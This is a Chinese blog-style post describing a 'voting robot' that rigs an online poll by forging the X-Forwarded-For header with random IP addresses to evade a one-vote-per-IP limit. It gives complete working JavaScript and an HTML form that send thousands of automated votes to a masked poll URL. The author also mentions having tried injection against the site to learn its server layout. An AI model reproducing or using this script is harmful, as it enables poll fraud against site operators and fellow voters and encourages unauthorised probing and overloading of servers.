帮朋友忙网络投票,粗粗地看了下,投票没有什么限制,仅有一个ip校验:每天每个ip仅能投票一次。
也就是说,可以写一个程序,自动更换IP地址(伪造IP地址),实现批量刷票的目的。于是我写了一个投票机器人。。。
解决办法
1、伪造ip,http协议中,request有个属性:"X-Forwarded-For",这个属性值就是服务器端的程序所能获取的ip。通过request.setRequestHeader("X-Forwarded-For","10.12.10.1");
以下代码用于生成随机IP地址:
function r(min,max){ return Math.floor(min+Math.random()*(max-min)); } function getRandomIp(){ return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255); }
2、网络投票全代码,投票地址已经隐去:
<span style="font-size: small;"><span style="line-height: 18px;"><script> function CreateXMLHttp2(){ var xmlhttp=null;
if (window.XMLHttpRequest)
{ xmlhttp = new XMLHttpRequest(); }
if (!xmlhttp&&window.ActiveXObject)
{
try
{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.5.0")
}
catch(e)
{
try
{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0")
}
catch(e)
{
try
{
new ActiveXObject("Msxml2.XMLHTTP")
}
catch(e)
{
try{new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}
}
}
}
}
if(!xmlhttp){alert("XMLHTTP不可用。即将跳转到非Ajax页面。");location="nonAjax.htm"} return xmlhttp; } var g_i=0; var timer; function $(obj){ return document.getElementById(obj); } function onSearch(){ var g_xmlhttp=CreateXMLHttp2(); if (!g_xmlhttp){ alert("你的浏览器不支持ajax"); return; } var idVal = $("id").value; var sendData="id="+idVal; var fakeIP=getRandomIp(); var total = $("total").value; var intervalTime = $("intervalTime").value; var timeRemain = (total-g_i)*intervalTime/1000; $("res").innerHTML="已投票:" + g_i +"</br>估计剩余时间:" + timeRemain + "秒" + "</br>当前伪造IP:" + fakeIP+"</br>"; //alert(fakeIP);return ; try{ g_xmlhttp.open("GET","http://www.xxx.com/xly/tp/tp.php?id=" + idVal,true); g_xmlhttp.setRequestHeader("Content-Length",sendData.Length); g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); //伪造ip的属性 g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP); g_xmlhttp.onreadystatechange=function(){ if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4){ if(++g_i<total){ timer = setTimeout("onSearch()",intervalTime); } if(g_i >= total){ alert("本次投票完成"); } } } g_xmlhttp.send(sendData); }catch(e){ } } function r(min,max){ return Math.floor(min+Math.random()*(max-min)); } function getRandomIp(){ return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255); } function stopSearch(){ clearTimeout(timer); } function startInit(){ $("res").innerHTML="" } </script> <form name="form1" method="post" action="" id="form1"> <div> <br /> <input id="ip" type="hidden" value="124.22.11." /> <br /> 投票间隔(单位毫秒): <input id="intervalTime" type="text" value="200" /> <br /> 投票总数: <input id="total" type="text" value="10000" /> </br> 投票ID: <input id="id" type="text" value="77" /> </br> <input id="search" type="button" onclick="startInit();onSearch();" value="开始" /> <input id="search" type="button" onclick="stopSearch();" value="停止" /> <br /> <br /> <span id="res"></span> <br /> <br /> </div> </form> </span></span>
需要注意的是,不能投票太快,投票时间要有间隔,主要是怕服务器被投宕机了。试着给注入下,发现应用和数据库是在同一台机器上,每次投票,应用要执行1次DB查询,是查ip+id,如果查询验证成功,则执行1次DB的插入。
希望这个例子对大家有所启发。